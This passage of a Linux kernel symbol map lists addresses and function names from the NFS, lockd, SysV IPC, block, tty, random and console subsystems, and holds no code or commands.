1017116c T nfs_decode_dirent
1017121c t nfs_xdr_dec_void
10171224 t nfs_xdr_stat
10171250 t nfs_xdr_attrstat
10171448 t nfs_xdr_diropres
10171674 t nfs_xdr_readlinkargs
10171714 t nfs_xdr_readlinkres
1017176c t nfs_xdr_writeres
10171794 t nfs_xdr_statfsres
101718d8 T nfs_stat_to_errno
10171950 T nfs_reqlist_init
10171a08 T nfs_reqlist_exit
10171a60 t .L840
10171a98 t .L848
10171ac0 T nfs_reqlist_alloc
10171b54 T nfs_reqlist_free
10171b84 T nfs_wake_flushd
10171ba8 t inode_append_flushd
10171c0c T inode_remove_flushd
10171c74 T inode_schedule_scan
10171cd0 t .L884
10171cec t .L890
10171cfc t .L891
10171d08 t nfs_flushd
10171dd8 t .L900
10171f20 t .L925
10171f20 t nfs_flushd_exit
10171f64 t nfs_put_unlinkdata
10171f80 t .L805
10171fdc t .L815
10171fdc t nfs_async_unlink_init
10172078 t nfs_async_unlink_done
101720f8 t nfs_async_unlink_release
10172114 T nfs_async_unlink
10172180 t .L832
10172264 T nfs_complete_unlink
10172264 t .L836
10172300 t .L849
10172328 t .L853
10172334 T nfs_mount
10172350 T nfs3_mount
1017236c t nfs_gen_mount
10172444 t mnt_create
101724a8 t .L810
101724c8 t .L812
101724cc t xdr_error
101724d4 t xdr_error
101724dc t xdr_encode_dirpath
1017251c t xdr_decode_fhstatus
1017259c t xdr_decode_fhstatus3
101725d8 t .L821
10172618 t .L825
10172624 T nlmclnt_block
101726f0 t .L850
1017273c t .L859
1017274c T nlmclnt_grant
1017281c T nlmclnt_recovery
1017287c t .L875
101728d0 t .L880
101728d0 t reclaimer
101728f0 t .L883
10172974 t .L892
101729b4 t .L904
10172a00 t .L905
10172a04 T nlmclnt_setgrantargs
10172ab4 T nlmclnt_freegrantargs
10172ae4 T nlmclnt_proc
10172cd4 t .L885
10172cdc t .L856
10172d68 t .L888
10172d70 t .L889
10172d7c t .L890
10172e10 T nlmclnt_alloc_call
10172ec4 T nlmclnt_call
10172f6c t .L951
101730a8 t .L959
101730c0 t .L963
101730e4 t .L964
101730ec T nlmsvc_async_call
101731b0 T nlmclnt_async_call
101732a0 t .L977
101732d8 t .L979
101732e0 t nlmclnt_test
1017334c t nlmclnt_insert_lock_callback
10173368 t nlmclnt_remove_lock_callback
10173398 t nlmclnt_lock
10173490 T nlmclnt_reclaim
101735ec t nlmclnt_unlock
1017366c t nlmclnt_unlock_callback
1017368c t .L1018
1017369c t .L1016
101736dc t .L1026
10173710 T nlmclnt_cancel
10173710 t .L1027
10173860 t .L1044
101738d4 t .L1056
101738d4 t nlmclnt_cancel_callback
101738f4 t .L1059
10173904 t .L1057
10173968 t .L1078
10173990 t .L1063
101739b0 t .L1079
101739cc t .L1080
101739d0 t nlm_stat_to_errno
10173a38 t .L1091
10173a48 T nlmclnt_lookup_host
10173a48 t .L1098
10173a74 T nlmsvc_lookup_host
10173a9c T nlm_lookup_host
10173b98 t .L715
10173db8 t .L729
10173dcc t .L749
10173de8 t .L750
10173df4 T nlm_bind_host
10173e4c t .L755
10173e68 t .L760
10173e7c t .L771
10173eb0 t .L779
10173efc t .L780
10173fc8 t .L773
10173fe0 t .L781
10173ff4 T nlm_rebind_host
10173ff4 t .L782
1017405c T nlm_get_host
101740d4 T nlm_release_host
10174124 T nlm_shutdown_hosts
10174180 t .L801
101741ec t .L815
101742b4 t .L839
101742bc t .L840
101742bc t nlm_gc_hosts
10174450 t .L866
10174474 t .L883
10174474 t lockd
101744d8 t .L722
101745c0 t .L743
10174724 t .L783
10174760 t .L784
10174764 T lockd_up
10174798 t .L787
101747bc t .L789
101747d4 t .L799
101747f8 t .L807
10174884 t .L808
101748a0 t .L797
101748b4 t .L809
101748ec t .L810
101748f4 T lockd_down
101748f4 t .L811
10174924 t .L814
10174944 t .L817
1017495c t .L833
1017497c t .L838
10174984 t .L818
10174a3c t .L839
10174a58 t .L840
10174a60 t .L841
10174a60 t nlmsvc_insert_block
10174b30 t nlmsvc_remove_block
10174b80 t nlmsvc_lookup_block
10174d30 t nlmsvc_delete_block
10174dd0 t .L782
10174dec t .L776
10174e60 t .L796
10174e80 T nlmsvc_traverse_blocks
10174e80 t .L797
10174ebc t .L800
10174ed8 t .L803
10174ef4 t .L812
10174f20 t .L817
10174f3c t .L818
10174f58 T nlmsvc_lock
10174f58 t .L819
10175024 t .L824
1017508c t .L852
101750a0 t .L857
101750f8 t .L871
10175118 t .L872
10175200 t .L848
10175228 t .L873
1017523c t .L840
10175254 t .L874
10175288 t .L829
101752e8 t .L875
101752f0 T nlmsvc_testlock
101752f0 t .L876
101753f8 T nlmsvc_unlock
101754a0 T nlmsvc_cancel_blocked
10175520 t .L892
10175558 t .L895
10175580 t .L897
10175588 t .L898
10175588 t nlmsvc_notify_blocked
101755f8 t .L899
10175620 t .L915
10175680 t nlmsvc_grant_blocked
101756e4 t .L920
10175750 t .L933
10175764 t .L935
10175794 t .L941
101757a0 t .L942
101757e8 t .L943
10175828 t .L944
10175830 t .L945
10175830 t nlmsvc_grant_callback
10175930 t .L946
10175978 t .L972
1017599c T nlmsvc_grant_reply
10175a58 t .L985
10175adc t .L999
10175af0 t .L986
10175b3c t .L1004
10175b50 t .L1016
10175b5c t .L1017
10175b68 t .L1018
10175bac t .L1019
10175bd0 T nlmsvc_retry_blocked
10175c84 t .L1025
10175cec t .L1043
10175cf4 T nlmsvc_share_file
10175e28 T nlmsvc_unshare_file
10175e6c t .L733
10175eb4 t .L738
10175ecc T nlmsvc_traverse_shares
10175ee8 t .L752
10175f3c t .L753
10175f50 t nlmsvc_retrieve_args
10175ff0 t .L709
10176060 t .L714
10176064 t nlmsvc_proc_null
1017609c t nlmsvc_proc_test
101761a8 t nlmsvc_proc_lock
10176234 t .L736
101762a0 t .L738
101762ac t nlmsvc_proc_cancel
101763b4 t nlmsvc_proc_unlock
101764bc t nlmsvc_proc_granted
10176558 t nlmsvc_proc_test_msg
101765ac t .L765
101765c8 t .L767
101765c8 t nlmsvc_proc_lock_msg
1017661c t .L771
10176638 t .L773
10176638 t nlmsvc_proc_cancel_msg
1017668c t .L777
101766a8 t .L779
101766a8 t nlmsvc_proc_unlock_msg
101766fc t .L783
10176718 t .L785
10176718 t nlmsvc_proc_granted_msg
1017676c t .L789
10176788 t .L791
10176788 t nlmsvc_proc_share
10176814 t .L801
10176878 t .L803
10176884 t nlmsvc_proc_unshare
10176990 t nlmsvc_proc_nm_lock
101769f0 t nlmsvc_proc_free_all
10176a08 t .L819
10176a30 t .L820
10176a34 t nlmsvc_proc_sm_notify
10176b6c t nlmsvc_callback
10176c30 t nlmsvc_callback_exit
10176c48 t .L841
10176c88 T nlm_lookup_file
10176c88 t .L845
10176d4c t .L715
10176e90 t .L734
10176ed4 t .L740
10176f24 t .L741
10176f24 t nlm_traverse_locks
10177078 t nlm_traverse_files
101770c4 t .L782
1017710c t .L794
1017711c t .L787
10177150 t .L803
10177188 t .L816
101771d4 t .L817
101771ec t .L797
10177200 t .L818
10177228 t .L819
1017725c T nlm_release_file
1017725c t .L820
101772b4 t .L825
101772c8 t .L826
101772e0 t .L840
10177300 t .L847
1017730c t .L831
1017737c t .L848
101773a8 t .L849
101773c8 t .L850
101773d0 T nlmsvc_mark_resources
101773d0 t .L851
1017740c T nlmsvc_free_host_resources
10177464 T nlmsvc_invalidate_client
101774c4 t nsm_mon_unmon
1017755c t .L703
10177584 t .L708
10177588 T nsm_monitor
10177618 T nsm_unmonitor
1017767c t .L719
1017769c t .L721
101776a0 t nsm_create
10177720 t .L724
10177740 t .L728
10177744 t xdr_encode_mon
1017786c t xdr_decode_stat_res
101778b4 t xdr_decode_stat
101778c4 t nlm_encode_lock
10177aa0 t nlm_encode_testres
10177c40 T nlmsvc_decode_testargs
10177e50 T nlmsvc_encode_testres
10177e9c T nlmsvc_decode_lockargs
101780d0 T nlmsvc_decode_cancargs
101782e8 T nlmsvc_decode_unlockargs
101784dc T nlmsvc_decode_shareargs
10178560 t .L919
10178654 t .L925
10178664 T nlmsvc_encode_shareres
10178700 T nlmsvc_encode_res
1017878c T nlmsvc_decode_notify
10178800 T nlmsvc_decode_reboot
10178870 T nlmsvc_decode_res
10178930 T nlmsvc_decode_void
10178954 T nlmsvc_encode_void
10178978 t nlmclt_encode_void
10178994 t nlmclt_decode_void
1017899c t nlmclt_encode_testargs
10178a64 t nlmclt_decode_testres
10178abc t .L968
10178bcc t .L982
10178bdc t nlmclt_encode_lockargs
10178cfc t nlmclt_encode_cancargs
10178dec t nlmclt_encode_unlockargs
10178e90 t nlmclt_encode_res
10178f14 t nlmclt_encode_testres
10178f5c t nlmclt_decode_res
10178ff4 T nlm_procname
1017901c T ipc_findkey
10179058 t grow_ary
101790fc T ipc_addid
101791bc T ipc_rmid
10179214 t .L716
1017927c t .L727
10179288 T ipc_alloc
101792b0 t .L731
101792c4 T ipc_free
101792c4 t .L733
101792dc t .L736
101792f0 T ipcperms
101792f0 t .L737
101793bc T kernel_to_ipc64_perm
101793f8 T ipc64_perm_to_ipc_perm
10179434 T ipc_parse_version
10179458 t newque
1017953c t free_msg
10179578 t load_msg
10179684 t store_msg
10179738 t ss_wakeup
1017978c t expunge_all
101797e0 t freeque
101798ac T sys_msgget
101798f0 t .L751
10179954 t .L764
10179980 t .L770
101799b0 t .L778
101799d8 t .L779
10179a18 T sys_msgctl
10179a18 t .L780
10179b64 t .L810
10179bac t .L816
10179be4 t .L932
10179c1c t .L933
10179c3c t .L862
10179ca8 t .L892
10179cbc t .L934
10179d0c t .L881
10179d98 t .L935
10179da8 t .L936
10179dd0 t .L937
10179f7c t .L840
10179fa0 t .L938
1017a03c t .L939
1017a098 t testmsg
1017a104 T sys_msgsnd
1017a318 t .L1022
1017a42c t .L1045
1017a45c T sys_msgrcv
1017a620 t .L1076
1017a6d4 t .L1118
1017a710 t .L1139
1017a7d8 t .L1140
1017a808 t sysvipc_msg_read_proc
1017a86c t .L1143
1017a99c t .L1159
1017a9fc t .L1167
1017aa0c T pipelined_send
1017aa0c t .L1168
1017aaec T convert_mode
1017ab20 t newary
1017ac48 T sys_semget
1017acd0 t .L680
1017ad34 t .L693
1017ad6c t .L701
1017ad80 t .L710
1017ada8 t .L711
1017adf0 t .L712
1017adf0 t sem_revalidate
1017ae98 t try_atomic_semop
1017aff4 t update_queue
1017b0bc t count_semncnt
1017b12c t count_semzcnt
1017b19c t freeary
1017b244 t copy_semid_to_user
1017b274 t .L832
1017b290 t .L839
1017b2c8 T semctl_nolock
1017b2c8 t .L840
1017b3a4 t .L846
1017b3e8 t .L850
1017b420 t .L874
1017b44c t .L875
1017b524 T semctl_main
1017b5c4 t .L895
1017b714 t .L975
1017b85c t .L976
1017b900 T semctl_down
1017bacc T sys_semctl
1017bbd4 t .L1024
1017bc10 t .L1041
1017bc48 t .L1043
1017bc5c t .L1070
1017bc64 t .L1071
1017bc80 t .L1072
1017bc84 t freeundos
1017bcec t alloc_undo
1017bde0 T sys_semop
1017bed8 t .L1096
1017c120 t .L1187
1017c224 T sem_exit
1017c31c t .L1205
1017c380 t .L1244
1017c3ac t .L1245
1017c414 t sysvipc_sem_read_proc
1017c488 t .L1248
1017c584 t .L1264
1017c5e4 t .L1272
1017c5f4 t .L1273
1017c5f4 t shm_open
1017c650 t .L714
1017c68c t .L718
1017c698 t shm_destroy
1017c6f0 t shm_close
1017c730 t .L723
1017c768 t .L724
1017c794 t .L731
1017c7ac t .L733
1017c7cc t .L738
1017c7e0 t .L739
1017c7f8 t .L740
1017c80c t .L741
1017c80c t shm_mmap
1017c88c t .L747
1017c8d4 t .L751
1017c8e0 t newseg
1017ca8c T sys_shmget
1017cad8 t .L768
1017cb3c t .L781
1017cb74 t .L789
1017cba8 t .L797
1017cbd0 t .L798
1017cc18 t .L799
1017cc18 t shm_get_stat
1017cca8 T sys_shmctl
1017ce90 t .L899
1017cee4 t .L911
1017cf14 t .L994
1017cf38 t .L948
1017cf4c t .L995
1017cf60 t .L996
1017cf98 t .L925
1017d094 t .L997
1017d2c8 t .L876
1017d2ec t .L998
1017d344 t .L999
1017d3b0 t .L849
1017d400 t .L851
1017d438 t .L1000
1017d440 T sys_shmat
1017d440 t .L1001
1017d550 t .L1019
1017d598 t .L1025
1017d5bc t .L1027
1017d5f0 t .L1028
1017d600 t .L1034
1017d618 t .L1036
1017d638 t .L1048
1017d64c t .L1049
1017d664 t .L1050
1017d678 t .L1051
1017d680 t .L1052
1017d688 t .L1053
1017d6a8 T sys_shmdt
1017d6ec t .L1057
1017d70c t .L1060
1017d728 t .L1065
1017d758 t .L1070
1017d784 t .L1071
1017d78c t .L1072
1017d78c t sysvipc_shm_read_proc
1017d7f4 t .L1075
1017d924 t .L1093
1017d988 t .L1101
1017d998 T blk_get_queue
1017d998 t .L1102
1017d9f0 t __blk_cleanup_queue
1017da74 T blk_cleanup_queue
1017dad4 T blk_queue_headactive
1017dadc T blk_queue_pluggable
1017dae4 T blk_queue_make_request
1017daec t ll_back_merge_fn
1017db30 t ll_front_merge_fn
1017db74 t ll_merge_requests_fn
1017dbd8 t generic_plug_device
1017dc48 t generic_unplug_device
1017dc8c t blk_init_free_list
1017dd30 T blk_init_queue
1017ddec t __get_request_wait
1017de5c t .L1446
1017defc t .L1464
1017df10 T is_read_only
1017df50 T set_device_ro
1017dfb8 t attempt_merge
1017dfe4 t .L1516
1017e0c4 t .L1525
1017e0c4 t __make_request
1017e1b4 t .L1539
1017e4e4 t .L1613
1017e554 t .L1569
1017e5fc t .L1790
1017eb70 t .L1791
1017ec18 T generic_make_request
1017ec18 t .L1792
1017ece4 t .L1799
1017ed94 t .L1812
1017edb4 T submit_bh
1017edec t .L1814
1017ee70 t .L1824
1017ee70 t end_buffer_io_sync
1017eeec T ll_rw_block
1017ef88 t .L1841
1017f03c t .L1883
1017f080 t .L1846
1017f0e8 t .L1850
1017f0f8 t .L1884
1017f13c t .L1885
1017f140 T end_that_request_first
1017f164 t .L1887
1017f230 T end_that_request_last
1017f230 t .L1892
1017f294 t .L1898
1017f2f0 t .L1902
1017f2f4 T blkdev_release_request
1017f34c T drive_stat_acct
1017f4fc t .L1483
1017f544 t .L1963
1017f5a0 t get_gendisk
1017f5c0 T add_partition
1017f770 T del_partition
1017f894 T blkpg_ioctl
1017f8c0 t .L865
1017f954 t .L885
1017f960 t .L886
1017f968 T blk_ioctl
1017f9b4 t .L887
1017fbc8 t .L1005
1017fbe4 t .L1006
1017fbf0 t .L1007
1017fc44 T elevator_linus
1017fca4 T elevator_linus_merge
1017fda0 T elevator_noop
1017fdb8 T elevator_noop_merge
1017fe68 T elevator_noop_dequeue
1017fe6c T blkelvget_ioctl
1017fec0 T blkelvset_ioctl
1017ff1c T elevator_init
1017ff7c t rd_make_request
10180048 t .L830
1018006c t .L832
10180090 t .L837
101800b8 t .L838
101800bc t rd_ioctl
10180180 t .L839
1018021c t .L892
10180224 t initrd_read
101802b0 t initrd_release
10180318 t rd_open
101803f4 t rd_release
101803fc t huft_build
10180934 t huft_free
1018096c t inflate_codes
10180edc t inflate_stored
10181140 t inflate_fixed
101812d8 t inflate_dynamic
101815b4 t .L1440
101816dc t .L1441
1018172c t .L1400
10181734 t .L1425
10181750 t .L1442
10181a44 t inflate_block
10181b0c t .L1443
10181b3c t .L1468
10181b44 t .L1469
10181b4c t .L1470
10181bd8 t inflate
10181cb0 t makecrc
10181d4c t gunzip
10181d9c t .L1510
10181dc4 t .L1512
10181e10 t .L1588
10181ed4 t .L1524
10181eec t .L1526
10181f04 t .L1528
10181f1c t .L1530
10181f34 t .L1532
10181f4c t .L1534
10181fc8 t .L1540
1018209c t .L1598
101822f4 t .L1599
10182320 t .L1600
10182328 t .L1601
10182330 t .L1602
10182338 t .L1603
10182340 t .L1604
10182348 t .L1605
10182370 t .L1606
10182378 t .L1607
10182378 t _tty_make_name
101823f8 T tty_name
10182428 t check_tty_count
101824e8 T tty_register_ldisc
10182554 t .L811
1018257c t .L812
1018257c t tty_set_ldisc
10182798 T get_tty_driver
101827f8 T tty_check_change
1018288c t hung_up_tty_read
101828a0 t hung_up_tty_write
101828b4 t hung_up_tty_poll
101828bc t hung_up_tty_ioctl
101828d4 t tty_lseek
101828e0 T do_tty_hangup
10182a84 t .L882
10182ba8 t .L915
10182bcc T tty_hangup
10182be8 T tty_vhangup
10182c00 T tty_hung_up_p
10182c18 T disassociate_ctty
10182c74 t .L928
10182cb8 t .L919
10182ce8 t .L943
10182d14 t .L944
10182d18 T wait_for_keypress
10182d48 T stop_tty
10182dc8 T start_tty
10182dec t .L953
10182e78 t .L960
10182e78 t tty_read
10182f9c t tty_write
10183154 t .L1036
1018316c t .L1026
1018316c t .L1044
101831d0 t .L1045
1018320c t down_tty_sem
10183234 t .L1048
1018324c t .L1049
1018324c t up_tty_sem
10183274 t .L1052
1018328c t .L1054
10183290 t init_dev
10183324 t .L1090
10183430 t .L1066
101834bc t .L1116
101836d0 t .L1117
10183714 t release_mem
101837e0 t release_dev
10183878 t .L1126
10183924 t .L1198
10183950 t .L1199
10183980 t .L1200
101839b0 t .L1201
101839e4 t .L1202
10183a14 t .L1203
10183a44 t .L1204
10183a5c t .L1205
10183a8c t .L1145
10183b50 t .L1206
10183ccc t .L1207
10183d60 t tty_open
10183e0c t .L1236
101840d8 t .L1291
10184180 t tty_release
101841a0 t tty_poll
10184278 t tty_fasync
101843e8 t tiocsti
101844a0 t tiocgwinsz
101844dc t tiocswinsz
101845d8 t tioccons
10184668 t fionbio
101846d8 t tiocsctty
1018479c t tiocgpgrp
101847f8 t tiocspgrp
101848b8 t tiocgsid
1018491c t tiocttygstruct
10184954 t tiocsetd
10184984 t .L1535
1018499c t .L1559
101849a8 t send_break
101849ec t .L1563
10184a28 T tty_ioctl
10184a28 t .L1570
10184aa4 t .L1571
10184d2c t .L1757
10184d54 t .L1758
10184dd8 t .L1759
10184de0 t .L1760
10184de8 t .L1761
10184df8 t .L1762
10184e04 t .L1763
10184e64 t .L1764
10184ed0 t .L1765
10184f58 t .L1766
10184f6c t .L1767
10184f7c t .L1768
10184f88 t .L1769
10184f94 t .L1770
10185168 T do_SAK
10185240 t .L1775
10185278 t .L1798
1018527c t flush_to_ldisc
10185358 T tty_get_baud_rate
101853fc T tty_flip_buffer_push
10185478 t initialize_tty_struct
101855c0 T tty_default_put_char
101855f4 T tty_register_devfs
101855f8 T tty_unregister_devfs
101855fc T tty_register_driver
101856f8 T tty_unregister_driver
10185860 T tty_paranoia_check
101858dc t check_unthrottle
10185934 t reset_buffer_flags
1018598c T n_tty_flush_buffer
101859d8 T n_tty_chars_in_buffer
10185a18 t opost
10185be8 t opost_block
10185ddc t echo_char
10185e58 t .L787
10185e70 t .L788
10185e70 t eraser
10186270 t n_tty_receive_room
101862a0 t n_tty_receive_buf
101863a0 t .L1076
10186464 t .L1129
1018650c t .L982
101867b4 t .L1108
10186830 t .L1130
101868c0 t .L1110
101869f8 t .L1131
10186b40 t .L1132
10186b6c t .L1133
10186bb8 t .L1134
10186d8c t .L1135
10186e44 T is_ignored
10186e44 t .L1136
10186e98 t n_tty_set_termios
101872b4 t n_tty_close
101872ec t n_tty_open
10187394 t read_chan
10187468 t .L1218
10187524 t .L1356
101875fc t .L1405
10187a0c t .L1245
10187a28 t .L1406
10187ae8 t .L1407
10187afc t write_chan
10187c14 t .L1414
10187ccc t .L1469
10187d50 t normal_poll
10187ee4 T tty_wait_until_sent
10187ff4 t unset_locked_termios
101880b4 t .L665
101880e0 t .L677
101880e4 t change_termios
101881bc t .L680
101882c8 t .L691
101882c8 t set_termios
10188470 t get_termio
10188590 t inq_canon
10188600 T send_prio_char
1018863c t .L906
10188688 T n_tty_ioctl
10188688 t .L910
101886fc t .L911
10188770 t .L1111
10188788 t .L1112
101887a0 t .L1113
101887b8 t .L1114
101888cc t .L1115
10188914 t .L1039
10188a74 t .L1116
10188a90 t .L1117
10188aa4 t .L1118
10188ad8 t .L1119
10188b00 t .L1120
10188b10 t .L1121
10188b1c t .L1122
10188b28 t .L1123
10188b50 t .L1100
10188b9c t do_write_mem
10188c04 t read_mem
10188c9c t write_mem
10188cfc t mmap_mem
10188d78 t read_kmem
10188ec8 t write_kmem
10188f1c t read_port
1018900c t write_port
10189100 t read_null
10189108 t write_null
10189110 t read_zero
10189230 t .L900
10189274 t .L922
101892f4 t .L946
10189330 t .L905
101893c8 t .L930
101893e0 t .L947
1018944c t .L908
10189460 t .L948
10189468 t .L949
10189470 t .L950
1018948c t .L951
10189494 t .L952
10189494 t mmap_zero
101894e8 t write_full
101894f0 t null_lseek
10189504 t memory_lseek
10189554 t open_port
1018958c t memory_open
10189668 T raw_open
10189788 T raw_release
101897d8 T raw_ctl_ioctl
101899bc T raw_read
101899f0 T raw_write
10189a24 t rw_raw_dev
10189cd4 t pty_close
10189cf8 t .L700
10189d88 t .L696
10189dc4 t .L710
10189ddc t .L711
10189ddc t pty_unthrottle
10189e4c t pty_write
10189ed4 t .L721
10189f80 t .L733
10189f98 t .L739
10189fac t .L740
10189fec t pty_write_room
1018a030 t pty_chars_in_buffer
1018a088 t pty_get_device_number
1018a0d4 t pty_set_lock
1018a154 t pty_bsd_ioctl
1018a178 t .L802
1018a18c t .L810
1018a1a0 t pty_unix98_ioctl
1018a1cc t .L811
1018a1e4 t .L819
1018a1f8 t pty_flush_buffer
1018a25c t pty_open
1018a324 t .L836
1018a358 t .L841
1018a358 t pty_set_termios
1018a384 t misc_read_proc
1018a4a4 t misc_open
1018a500 t .L698
1018a638 t .L740
1018a674 t .L748
1018a690 t .L711
1018a6c4 t .L714
1018a730 t .L749
1018a738 t .L750
1018a748 T misc_register
1018a748 t .L751
1018a7a0 t .L756
1018a838 t .L770
1018a84c t .L779
1018a898 t .L764
1018a8ac t .L780
1018a8b4 T misc_deregister
1018a8b4 t .L781
1018a8fc t .L786
1018a970 t .L790
1018a994 t .L792
1018a99c t .L793
1018a9a4 t create_entropy_store
1018aac0 t clear_entropy_store
1018aafc t free_entropy_store
1018ab30 t add_entropy_words
1018ac3c t credit_entropy_store
1018ac68 t batch_entropy_init
1018ad1c T batch_entropy_store
1018adec t batch_entropy_process
1018af34 t add_timer_randomness
1018b020 T add_keyboard_randomness
1018b05c T add_mouse_randomness
1018b080 T add_interrupt_randomness
1018b0bc T add_blkdev_randomness
1018b124 t SHATransform
1018b2d0 t extract_entropy
1018b5a0 t .L805
1018b604 t .L821
1018b628 T get_random_bytes
1018b65c t .L824
1018b690 t .L828
1018b690 t init_std_data
1018b74c T rand_initialize_irq
1018b7b8 T rand_initialize_blkdev
1018b820 t random_read
1018b9d0 t urandom_read
1018b9f4 t random_poll
1018bab0 t random_write
1018baf0 t .L901
1018bb40 t .L910
1018bba8 t random_ioctl
1018bc40 t .L1106
1018be78 t .L1115
1018bf1c t .L1116
1018bf74 T generate_random_uuid
1018bfb4 t change_poolsize
1018c034 t proc_do_poolsize
1018c088 t .L1121
1018c0bc t .L1125
1018c0bc t poolsize_strategy
1018c12c t .L1126
1018c160 t .L1131
1018c160 t proc_do_uuid
1018c1a0 t .L1134
1018c278 t .L1137
1018c284 t uuid_strategy
1018c2f8 t .L1141
1018c370 t .L1189
1018c37c t sysctl_init_random
1018c3b8 t halfMD4Transform
1018c6c4 T secure_tcp_sequence_number
1018c7dc T secure_ip_id
1018c848 T _kd_mksound
1018c84c T vt_ioctl
1018c95c t .L901
1018ca30 t .L1569
1018ca5c t .L920
1018ca98 t .L1616
1018caa0 t .L1617
1018cb24 t .L1618
1018cb7c t .L1619
1018cbf4 t .L1620
1018cbfc t .L1621
1018cc6c t .L1008
1018cd34 t .L1622
1018cf40 t .L1047
1018d05c t .L1623
1018d3ac t .L1624
1018d528 t .L1625
1018d570 t .L940
1018d5a0 t .L1626
1018d5b8 t .L1627
1018d770 t .L1628
1018d7a0 t .L1629
1018d8e0 t .L1630
1018d8f4 t .L1631
1018d8fc t .L1632
1018d904 t .L1633
1018dc54 t .L1634
1018dc90 t .L1264
1018dcc0 t .L1635
1018dce0 t .L1636
1018dfac t .L1637
1018e0c0 t .L1562
1018e14c T vt_waitactive
1018e254 T reset_vc
1018e2dc T complete_change_console
1018e33c t .L1655
1018e360 t .L1657
1018e398 t .L1663
1018e3b8 T change_console
1018e3b8 t .L1664
1018e3f8 t .L1665
1018e43c t .L1669
1018e45c t .L1675
1018e47c t .L1676
1018e48c t vcs_size
1018e508 t vcs_lseek
1018e5c8 t vcs_read
1018e648 t .L739
1018e6f0 t .L781
1018e74c t .L790
1018e99c t .L791
1018e99c t vcs_write
1018ea28 t .L794
1018eaa0 t .L841
1018eafc t .L858
1018eb08 t .L802
1018ec08 t .L821
1018ed60 t .L859
1018eda4 t .L860
1018ee70 t .L861
1018ee70 t vcs_open
1018eeac T vcs_make_devfs
1018eeb0 t set_inverse_transl
1018ef88 T set_translate
1018efac T inverse_translate
1018eff0 t update_user_maps
1018f07c T con_set_trans_old
1018f0f8 T con_get_trans_old
1018f1e0 T con_set_trans_new
1018f25c T con_get_trans_new
1018f2c4 t con_release_unimap
1018f3ac T con_free_unimap
1018f3e4 t .L830
1018f404 t .L834
1018f404 t con_unify_unimap
1018f5cc t con_insert_unipair
1018f614 t .L879
1018f680 t .L884
1018f6bc T con_clear_unimap
1018f748 t .L891
1018f794 t .L896
1018f79c T con_set_unimap
1018fa10 T con_set_default_unimap
1018fba0 T con_copy_unimap
1018fc34 T con_get_unimap
1018fdb4 T con_protect_unimap
1018fdd4 T conv_uni_to_pc
1018fe74 t scrup
1018ffc4 t scrdown
101900f4 t do_update_region
1019031c T update_region
10190350 t .L793
10190388 t .L795
10190388 t build_attr
101904a8 t update_attr
10190550 T invert_screen
101905ec t .L839
10190618 t .L846
10190728 T complement_pos
10190898 t insert_char
10190a20 t delete_char
10190bb4 t add_softcursor
10190c98 t hide_cursor
10190cc8 t .L910
10190d7c t .L917
10190d7c t set_cursor
10190d9c t .L918
10190df4 t .L922
10190e30 t .L928
10190e38 t .L929
10190e38 t set_origin
10190efc T redraw_screen
10190fc0 t .L947
101910ec t .L956
1019114c T vc_cons_allocated
10191170 t visual_init
10191294 T vc_allocate
101913c8 T vc_resize
101916e4 t .L1004
1019174c t .L1044
101917d4 T vc_disallocate
10191840 t gotoxy
10191914 t gotoxay
10191954 T scrollback
101919f0 T scrollfront
10191a8c t lf
10191af0 t .L1078
10191b20 t .L1081
10191b20 t ri
10191b7c t .L1084
10191bac t .L1087
10191bac t csi_J
10191de0 t csi_K
10191f64 t csi_X
1019201c t default_attr
10192078 t csi_m
1019248c t respond_string
10192598 t cursor_report
10192618 T mouse_report
1019267c T mouse_reporting
1019269c t set_mode
10192708 t .L1256
10192798 t .L1296
101927cc t .L1297
101928dc t setterm_command
101929bc t .L1326
101929c4 t .L1299
10192a44 t .L1344
10192a8c t .L1345
10192bcc t insert_line
10192c14 t delete_line
10192c5c t csi_at
10192ca4 t csi_L
10192cec t csi_P
10192d34 t csi_M
10192d7c t save_cur
10192e40 t restore_cur
10192f74 t reset_terminal
10193234 t do_con_trol
1019352c t .L1374
101935a4 t .L1762
101935e0 t .L1763
1019361c t .L1764
10193630 t .L1765
101937c8 t .L1766
10193a00 t .L1767
10193a14 t .L1768
10193aac t .L1769
10193ae8 t .L1770
10193b08 t .L1771
10193b1c t .L1772
10193b30 t .L1773
10193b44 t .L1774
10193b58 t .L1775
10193b6c t .L1776
10193b74 t .L1777
10193ba4 t .L1778
10193bd4 t .L1779
10193c04 t .L1780
10193c34 t .L1781
10193c84 t .L1782
10193ce8 t .L1783
10193d1c t .L1784
10193d7c t .L1785
10193da0 t .L1786
10193da8 t .L1787
10193dd0 t .L1788
10193e50 t .L1789
10193e60 t .L1790
10193ef8 t .L1791
10194078 t .L1792
1019421c t .L1591
10194478 t do_con_write
10194520 t .L1798
10194584 t .L1860
101945e0 t .L1892
10194630 t .L1806
101946e4 t .L1807
10194a04 t .L1893
10194a94 t .L1894
10194a9c t .L1895
10194ab0 t .L1795
10194ad0 t .L1896
10194ad0 t console_softint
10194be0 T vt_console_print
10194d08 t .L1916
10194d30 t .L1918
10194e58 t .L1951
10194f84 t .L1952
10194f84 t vt_console_device
10194fb0 T tioclinux
10194fd8 t .L1957
101950b0 t .L2083
101950b8 t .L2084
101950d0 t .L2085
101951e0 t con_write
10195214 t con_put_char
1019523c t con_write_room
1019524c t con_chars_in_buffer
10195254 t con_throttle
10195258 t con_unthrottle
10195280 t con_stop
10195338 t con_start
101953f0 t con_flush_chars
10195418 t con_open
1019549c t .L2114
101954ac t .L2118
101954c8 t con_close
1019550c t vc_init
10195680 t clear_buffer_attributes
101956dc T take_over_console
101957f4 t .L2168
10195814 t .L2177
1019585c t .L2163
101958b0 t .L2189
101958c4 t .L2190
101958cc t .L2191
101958e8 T give_up_console
1019591c t set_vesa_blanking
1019596c t vesa_powerdown
101959dc t vesa_powerdown_screen
10195a04 t timer_do_blank_screen
10195a4c t .L2243
10195ad8 t .L2263
10195b0c t .L2248
10195be4 t .L2251
10195c00 t .L2264
10195c10 T do_blank_screen
10195c10 t .L2265
10195c2c t unblank_screen_t
10195c44 T unblank_screen
10195d04 t .L2268
10195d2c t .L2275
10195d30 t blank_screen
10195d50 T poke_blanked_console
10195db0 t .L2277
10195de0 T set_palette
10195de0 t .L2282
10195e38 t set_get_cmap
10196054 T con_set_cmap
10196070 T con_get_cmap
1019608c T reset_palette
10196128 T con_font_op
10196430 T screen_glyph
101964b4 T screen_pos
10196520 T getconsxy
10196548 T putconsxy
1019657c T vcs_scr_readw
101965b4 T vcs_scr_writew
101965d8 t .L2545
101965f8 t .L2547
101965f8 t pm_con_request
1019660c t .L2549
10196624 t .L2555
1019662c t .L2556
1019662c t sel_pos
